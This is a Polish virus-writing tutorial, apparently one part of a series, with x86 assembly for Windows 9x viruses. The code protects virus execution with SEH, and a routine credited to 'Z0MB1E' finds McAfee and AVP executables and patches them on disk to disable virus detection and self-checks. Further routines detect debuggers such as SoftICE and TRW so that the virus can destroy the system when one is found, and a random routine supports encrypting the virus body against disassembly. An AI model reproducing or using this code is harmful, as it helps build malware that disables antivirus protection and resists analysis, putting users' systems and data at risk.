Dla każdego wątku w systemie rejestr FS ma inną wartość. Wartość w rejestrze FS jest 16-bitowym selektorem, który wskazuje na blok informacji wątku (Thread Information Block), struktura ta zawiera ważne informacje o każdym wątku w systemie.
----------
Dobra, na razie tyle nudnego czytania. To przykład mechanizmu SEH, przy użyciu per-thread exception handler'a :

push offset obsluga_wyjatku;Pierwszy DWORD

push fs:[0];Drugi DWORD

77

mov fs:[0],esp;Zainstaluj obsługę ERR

[...];Kod wirusa

pop fs:[0];Przywróć poprzedni stan

add esp,4h

ret

obsluga_wyjatku:

[...];Wykrycie wyjątku

mov eax,0

ret

W przypadku, gdy kod wirusa spowoduje wyjątek, system operacyjny wywoła procedurę obsluga_wyjatku. Dzięki temu wirus będzie wiedział iż na bieżącym systemie operacyjnym nie będzie on działał poprawnie oraz będzie mógł zakończyć swoje działanie.
----------
Ochrona przed antywirusami
----------
Ochrona przeciw programom antywirusowym jest kluczową sprawą w wirusach, gdyż od tego zależy ich byt w systemie operacyjnym. Jak się przed nimi chronić ? – sposobem może być wyłączenie procedur sprawdzania plików bezpośrednio w kodzie antywirusa. Dzięki temu, nawet jeśli antywirus radziłby sobie z wirusem, nie będzie w stanie zareagować w przypadku rozprzestrzeniania się wirusa w systemie. Tę metodę zaprezentował nam pewien człowiek, o nicku "Z0MB1E". Działa ona na zasadzie takiej, iż przeszukuje dysk twardy w poszukiwaniu plików wykonywalnych antywirusów, następnie otwiera je i zmienia ich kod (patc***e) na stałe. Dzięki temu antywirus po ponownym odpaleniu się, z uwagi na wyłączone procedury sprawdzające, nie będzie sprawiał więcej już problemów. Z0MB1E zaprezentował tą metodę na przykładzie AVP oraz MACAFE – wiodących programach antywirusowych.

Przykłady :

; MACAFE -- disable virus-detection

; mcscan32.dll

; B801000000 mov eax, 1 --> B8 00 ... mov eax, 0

; EB02 jmp xxxxxxxx

; 31C0 xor eax, eax

; [8987C002]0000 mov [edi+0000002C0], eax

__patch5: cmp dword ptr [esi-4], 0C03102EBh

jne __continue

cmp dword ptr [esi-8], 1

jne __continue

mov byte ptr [esi-8], 0

inc ebx

jmp __continue

; MACAFE -- disable self-check

; mcutil32.dll

; 83 C4 10 add esp, 10h

; 3B 45 F3 cmp eax, [ebp+csum]

; 74 07 je xxxxxxxx

;[C7 45 FC 01]00 00 00 mov [ebp+res], 1

__patch6: cmp dword ptr [esi-4], 0774F345h

jne __continue

cmp dword ptr [esi-8], 3B10C483h

jne __continue

cmp dword ptr [esi+3], 1

jne __continue

mov byte ptr [esi+3], 0

inc ebx

jmp __continue

Po wykonaniu tych procedur zmiany są uaktualniane w plikach wykonywalnych. I przy następnym uruchomieniu systemu operacyjnego antywirusy staną się nieaktywne.
----------
Antydebugging
----------
A tak naprawdę przeciw ludziom używających debuggerów w celu analizy i reversingu kodu wirusa. Jest to następna z metod ochrony wirusa przeciw antywirusami, gdyż, dopóki nie jest możliwa analiza kodu wirusa, nie zostanie dla niego napisany antywirus. Ochrona ta, jak wszystkie, jest do przejścia i działa na takiej zasadzie, że w przypadku, gdy wirus wykryje debuggera w pamięci operacyjnej, uruchamia procedury niszczące system operacyjny. Dzięki temu uniemożliwia analizę jego kodu. Debugger jest zobligowany do przejęcia przerwań 1 i 3. Przerwania, te są wywoływane przez procesor w sytuacji, w której wystąpi wyjątek debug lub też breakpoint. W szczególności :

- przerwanie nr. 1 - wywoływane przez procesor, gdy wystąpi wyjątek typu debug
- przerwanie nr. 3 – breakpoint (pułapka)

Procedury obsługi tych przerwań debugger instaluje w tablicy IDT (Interrupt Descriptor Table). Jedną z metod wykrycia debuggera, jest badanie różnicy pomiędzy punktami wejść do procedur obsługi przerwań 1 oraz 3, która w czystym systemie, bez debuggera, wynosi 10h.

Przykład :

push eax

sidt [esp-2]

pop eax

add eax,8; EAX = adres wektora int 1h

mov ebx, [eax]; BX = młodsze 16 bitów adresu

add eax, 16; EAX = adres wektora int 3h

mov eax, [eax]; AX = młodsze 16 bitów adresu

sub al, bl; Oblicz różnicę adresów

sub al,10h

jnz debugger_aktywny

Oraz następną procedurą wykrywającą debuggera jest : ring0

push 0000004fh; funkcja 4fh

int 20h

dd 002a002ah**; VWIN32_Int41Dispatch

cmp ax, 0f386h; znacznik instalacji

jz debugger_aktywny

Jest to wywołanie funkcji 4Fh przerwania 41h – sprawdzenie instalacji debuggera w systemie. W momencie startu systemu, Windows 9x wywołuje funkcję tego przerwania sprawdzając czy ma się uruchomić w trybie debuggingu czy też nie. Gdy Windows 9x uruchomi się w trybie debuggingu, wywołuje to przerwanie w celach informacyjnych dla potrzeb debuggera. Przekazuje mu to jakie moduły są ładowane do pamięci oraz jakie są deinstalowane. Jednym z debuggerów systemowych Windows-a 9x jest SoftICE.

Przykład wykrywania debuggera SoftICE :

ring0:

push 41h; numer przerwania

pop eax

db 0CDh,20h; Get_PM_Int_Vector

dw 0044h,0001h; zwraca adres procedury obsługującej przerwanie

cmp edx,8; jeśli offset = 8 to znaczy ze

je SoftICE_aktywny

jest_sice db 0

80

ring0:

db 0CDh,20h; Get_Cur_VM_Handle

dw 0001h,0001h

mov edx, 400h

call_sice:

db 0CDh,20h; Disable_Local_Trapping

dw 009Ah,0001h

mov esi,dword ptr [call_sice+2]

; offset DWORDa wskazującego na adres

; Disable_Local_Trapping

mov esi,[esi]; adres Disable_Local_Trapping

cmp word ptr [esi],015FFh; czy pierwsze bajty procki to do widzenia

; instruckji call dword[..]?

jne niee_sice; jeśli nie pomiń

cmp word ptr [esi+6],05751h

jne niee_sice

inc jest_sicE

niee_sice:

Następnym z debuggerów pozwalających na śledzenie kodu ring-0 jest TRW. Również dzięki niemu można zanalizować kod wirusa, z tego też względu zamieszczam, i na jego wykrycie, procedurę anty :

jest_trw db 0

ring0:

db 0CDh,20h; Get_Cur_VM_Handle

dw 0001h,0001h

push ebx

mov eax,000Eh; VM_RESUME

call_trw:

db 0CDh,20h; System_Control

dw 0093h,0001h; po wykonaniu VxDCall-a bajty 0CDh,20h

; i numer usługi zamieniają się na

; tzw. direct call-a czyli

; call dword ptr[vadres]

; (0FFh,15h,DWORD vadres)

mov esi,dword ptr [call_trw+2]

mov esi,[esi]; vadres System_Control

cmp byte ptr [esi],0E8h; sprawdź pierwsze bajty procki czy

; to opcode

jne niee_trw; relatywnego call'a(0E8h,DWORD)

cmp word ptr [esi+5],025FFh; bajty absolutnego JMP'a

; (FF,25h,DWORD vadres)

jne niee_trw

inc jest_trw

niee_trw:

----------
Antidisassembling
----------
Po infekcji wirusa w pliku wykonywalnym punkt wejścia do programu zmieniany jest na początek kodu wirusa, by po uruchomieniu programu przez użytkownika jego kod został uruchomiony. Z tego też względu kod wirusa jest „na widoku” i może zostać prosto wykryty. Jednakże wykrycie wirusa w systemie nie stanowi o jego deaktywacji. Potrzebna jest, ku temu, analiza kodu wirusa i napisanie dla niego antywirusa. By uchronić się przed analizą stosuje się ochronę przeciw disassemblerom, programom, które zamieniają kod maszynowy na assemblera, zrozumiałego dla człowieka. W tym celu stosuje się algorytmy, kryptujące kod wirusa (pisałem o tym w drugiej części artykułu).

Dzięki ich użyciu wirus w pliku zainfekowanym ma strukturę następującą :

Punkt_startu_programu:

Algorytm dekryptujący

Jmp dalej

dalej:

Właściwy kod wirusa (zakryptowany)

Jmp programu_zainfekowanego

I nawet jeśli zainfekowany plik potraktujemy disassemblerem, tak naprawde, zobaczymy tylko algorytm dekryptujący, natomiast by przeanalizować właściwy kod wirusa będziemy musieli odkryptować go ręcznie lub też będziemy zobligowani do użycia debuggera.
Dla celów algorytmu kryptującego stosuje się procedury pseudolosowe, aby zakryptowany kod wirusa był dla każdego archiwum inny.

Przykład :

random:; procedura modyfikuje rejestry ECX i EDX

cmp eax,0; oraz wartość losową zwraca w EAX

je random_escape

xchg eax,ecx

rdtsc

xor edx,edx

div ecx

xchg eax,edx

add eax,1

random_escape:

ret

Procedura ta korzysta z instrukcji RDTSC, która zwraca licznik cykli wykonanych przez procesor od momentu startu komputera (EDX:EAX), oraz z wartości rejestrów EAX na wejściu do tej procedury.
----------
Na pewno, jak dostane w najbliższym czasie weny, to napiszę i kolejną część artykułu..
----------
// nie wszystkie rzeczy były tu pisane przezemnie, niektóre z google.pl i wikipedia.pl
----------
Mam nadzieję, że i ta część artykułu się komuś przydała